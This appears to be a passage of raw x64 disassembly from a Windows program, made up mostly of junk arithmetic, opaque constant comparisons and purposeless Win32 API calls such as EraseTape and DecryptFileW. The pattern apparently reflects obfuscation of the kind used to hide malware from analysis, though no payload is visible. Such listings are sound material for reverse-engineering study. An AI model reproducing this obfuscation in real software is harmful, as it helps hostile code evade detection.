mov dword [rsp + 0x19bc], eax
movzx eax, word [0x1400c9008]
mov dword [rsp + 0x1aa0], eax
cmp dword [rsp + 0x1aa0], 0x46
je 0x140004dc0
jmp 0x140004e07
movzx eax, byte [rsp + 0x52]
sub eax, 0xd0
mov byte [0x1400c9e90], al
movzx eax, byte [0x1400c9e90]
sub eax, 0xc2
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
jmp 0x1400a6795
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
mov word [rsp + 0x4d4], ax
lea rcx, str.Recast_obituaries
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x4d8], ax
mov rax, qword [rsp + 0x3688]
movzx eax, word [rax]
mov word [rsp + 0x4dc], ax
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x3748]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x37b8]
mov rdx, qword [rsp + 0x3648]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140004f6f
mov rax, qword [rsp + 0x3748]
movzx ecx, al
mov rax, qword [rsp + 0x3648]
sar rax, cl
mov rcx, qword [rsp + 0x35a0]
mov rdx, qword [rsp + 0x37b8]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140004f24
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1aa4], eax
cmp dword [rsp + 0x1aa4], 0xcf98
je 0x140004ec8
jmp 0x140004efc
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [0x1400c9e91]
add eax, ecx
mov byte [rsp + 0x50], al
mov r8d, 0x42
mov edx, 0xc7
mov rcx, qword [rsp + 0x36c0]
call qword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [rsp + 0x19cc], eax
jmp 0x140004f22
mov r9, qword [rsp + 0x3648]
movzx r8d, byte [rsp + 0x51]
mov rax, qword [rsp + 0x3730]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x4d0]
call fcn.1400a8030
jmp 0x140004f6f
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1978]
mov rdx, qword [rsp + 0x3640]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140004f6f
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a80]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov dword [rsp + 0x1aa8], 0xf117
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1a68], eax
cmp dword [rsp + 0x1a6c], 0xf06d
je 0x1400053fe
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x19ec], eax
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1978]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
sub eax, ecx
mov rcx, qword [rsp + 0x37f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19b8]
sub ecx, eax
mov eax, ecx
mov dword [0x1400c9004], eax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4d0]
add eax, ecx
mov word [rsp + 0x4d4], ax
movzx eax, byte [0x1400c9e90]
sub eax, 0x26
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov eax, dword [rsp + 0x1a6c]
add eax, 0x51
mov dword [rsp + 0x1a6c], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x37b0]
mov qword [rsp + 0x3800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3800]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
lea rcx, [rsp + 0xddb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x35a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
movabs rax, 0x731e79932df352
mov rcx, qword [0x1400c9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1400c9004], eax
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x37f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4c8]
xor eax, ecx
mov word [rsp + 0x4d4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sar eax, cl
mov word [rsp + 0x4dc], ax
movzx eax, byte [0x1400c9e90]
shl eax, 1
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1994]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x35a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movabs rax, 0x70ecf08876214a
mov rcx, qword [0x1400c9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a80]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1400c9004], eax
movsx eax, word [rsp + 0x4dc]
movsx ecx, word [rsp + 0x4c4]
and eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4d0]
sub eax, ecx
mov word [rsp + 0x4d4], ax
movzx eax, byte [0x1400c9e90]
add eax, 0x96
mov byte [rsp + 0x52], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, byte [0x1400c9e90]
add eax, 0x15
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x3748]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
jmp 0x140004f87
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x19b8], eax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x19bc]
shl eax, cl
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4dc]
xor eax, ecx
mov word [rsp + 0x4c4], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4d0], ax
movzx eax, byte [0x1400c9e90]
add eax, 0x53
mov byte [rsp + 0x52], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400c9e91]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x3638]
mov ecx, dword [0x1400c9004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1978]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rcx, qword [rsp + 0x37a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4d0]
sub eax, ecx
mov word [0x1400c9008], ax
movsx eax, word [rsp + 0x4dc]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x4c4], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [0x1400c9e91]
sar eax, cl
mov byte [rsp + 0x50], al
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4dc], ax
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
or eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov eax, dword [rsp + 0x19b8]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0x3808], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3808]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [rsp + 0x4d0]
and eax, ecx
mov rcx, qword [rsp + 0x37f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov eax, dword [rsp + 0x1a30]
add eax, 0xab
mov dword [rsp + 0x1a30], eax
movzx eax, byte [0x1400c9e90]
and eax, 0xb8
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3638]
mov ecx, dword [0x1400c9004]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov eax, dword [rsp + 0x1a80]
mov ecx, dword [rsp + 0x19b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
movabs rax, 0x74f744c6f77902
mov rcx, qword [0x1400c9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3648]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x37b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x19bc], eax
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [rsp + 0x4d0]
shl eax, cl
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [0x1400c9e91]
sar eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
and eax, ecx
mov rcx, qword [rsp + 0x37f0]
mov word [rcx], ax
cmp dword [rsp + 0x1a30], 0x3116
jbe 0x1400053fe
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x37b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x35a0]
mov rdx, qword [rsp + 0x3648]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140005901
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x3810], rax
movabs rax, 0xd6ae5ebb390886fe
cmp qword [rsp + 0x3810], rax
je 0x14000582c
jmp 0x1400058e4
mov dword [rsp + 0xeb50], 0x114
lea rax, [rsp + 0x50]
mov qword [rsp + 0x3818], rax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1aac], eax
cmp dword [rsp + 0x1aac], 0
je 0x140005861
jmp 0x1400058a7
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x3820], rax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1ab0], eax
jmp 0x1400058e2
movabs rax, 0x76fbf98520ab5b
mov rcx, qword [0x1400c9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
jmp 0x1400058f1
movzx ecx, word [rsp + 0x4dc]
call fcn.1400a7ed0
mov dword [rsp + 0x1ab4], 0x899b
jmp 0x1400059b8
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x37b8]
mov rdx, qword [rsp + 0x3748]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x1400059b8
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1a80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
lea r9, [rsp + 0x1998]
mov r8d, 0x6c
lea rdx, [rsp + 0x36b8]
mov rcx, qword [rsp + 0x3780]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x1998], eax
mov rax, qword [rsp + 0x3818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x51], al
movsx eax, word [rsp + 0x4dc]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
cmp dword [rsp + 0x1a2c], 0xe0f9
ja 0x140005bb5
mov eax, dword [rsp + 0x1a48]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0x3828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3828]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4dc]
shl eax, cl
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1ab0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a80], eax
movzx ecx, word [rsp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x4e0], ax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4d0], ax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4c4], ax
mov eax, dword [rsp + 0x1a2c]
add eax, 0x32
mov dword [rsp + 0x1a2c], eax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400c9e91]
sub eax, ecx
mov byte [rsp + 0x51], al
mov dword [rsp + 0x20], 0x117
mov r9d, 0x346e
mov r8d, 0x411
mov edx, 0x1c3d
mov rcx, qword [rsp + 0x3618]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x1a9c], eax
mov edx, 0x197d0e
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x1a9c], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3818]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
jmp 0x1400059b8
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x37b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3648]
mov rdx, qword [rsp + 0x3748]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x1400a6716
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3830], rax
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x3838], rax
movzx eax, byte [0x1400c9e90]
mov byte [rsp + 0x1ab8], al
cmp byte [rsp + 0x1ab8], 0xcb
je 0x140005c2c
jmp 0x140005c64
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1978], eax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
jmp 0x140005cc9
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
sub eax, ecx
mov word [rsp + 0x4d0], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x3840], rax
mov rax, qword [rsp + 0x3600]
movzx eax, byte [rax]
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0x4c4]
mov word [rsp + 0x4e4], ax
mov rax, qword [rsp + 0x3818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
cmp dword [rsp + 0x1a34], 0x12677
je 0x140005e1e
mov ecx, 0xe
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1a9c], eax
mov rax, qword [0x1400c9010]
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3838], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1ab0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x19f0], eax
mov eax, dword [rsp + 0x1a34]
add eax, 0xa0
mov dword [rsp + 0x1a34], eax
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x3640]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x52]
movzx ecx, byte [0x1400c9e90]
sub eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
lea rcx, [rsp + 0xdd58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4dc]
add eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
or eax, ecx
mov byte [rsp + 0x50], al
jmp 0x140005cc9
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x1abc], al
cmp byte [rsp + 0x1abc], 0xa5
je 0x140005e51
cmp byte [rsp + 0x1abc], 0xbc
je 0x140005f46
jmp 0x14000612f
mov rax, qword [rsp + 0x37b8]
mov qword [rsp + 0x3848], rax
movabs rax, 0x795ce2876ac3b4
cmp qword [rsp + 0x3848], rax
je 0x140005e7a
jmp 0x140005f07
mov rax, qword [rsp + 0x3608]
movzx ecx, al
mov rax, qword [rsp + 0x3838]
shr rax, cl
cmp rax, qword [0x1400c9010]
jb 0x140005eb6
movsx eax, word [rsp + 0x4e4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x4dc], ax
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x1994]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x20], rax
mov r9d, 0xd
lea r8, [rsp + 0x3628]
mov edx, 0x37
mov rcx, qword [rsp + 0x35c0]
call qword [sym.imp.USER32.dll_CascadeWindows]
mov word [rsp + 0x4c8], ax
jmp 0x140005f41
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x37b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
lea rdx, [fcn.1400a8030]
mov rcx, qword [rsp + 0x3850]
call qword [sym.imp.USER32.dll_EnumPropsW]
mov dword [rsp + 0x1980], eax
jmp 0x14000612f
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [rsp + 0x4e4]
add eax, ecx
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x4dc]
and ecx, edx
cmp eax, ecx
jg 0x1400060db
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x3640]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [0x1400c9e90], al
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x3858], rax
movabs rax, 0x75573b1409eead
cmp qword [rsp + 0x3858], rax
je 0x14000601d
movabs rax, 0x7d07aa8e0e2efe
cmp qword [rsp + 0x3858], rax
je 0x140005fea
jmp 0x1400060d9
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x52]
movzx ecx, byte [0x1400c9e90]
or eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
jmp 0x1400060d9
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3820]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0x4d0]
mov dword [rsp + 0x1ac0], ecx
mov rdx, qword [rsp + 0x3730]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x1ac0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1400060d9
mov rax, qword [rsp + 0x3818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x53], al
lea r8, [rsp + 0xe9e0]
mov rdx, qword [rsp + 0x3670]
mov rcx, qword [rsp + 0x3860]
call qword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [rsp + 0x1ac4], eax
mov edx, 0xa6
mov rcx, qword [rsp + 0x3670]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x1ac8], eax
lea rdx, [rsp + 0x3638]
mov rcx, qword [rsp + 0x35c0]
call qword [sym.imp.USER32.dll_GetTitleBarInfo]
mov dword [rsp + 0x1acc], eax
jmp 0x14000612f
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3748]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x35a0]
mov rdx, qword [rsp + 0x3648]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x14000612f
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x3868], rax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x1ad0], al
cmp byte [rsp + 0x1ad0], 0
je 0x140006165
cmp byte [rsp + 0x1ad0], 0x34
je 0x1400062c2
jmp 0x140006358
mov eax, dword [rsp + 0x1ab0]
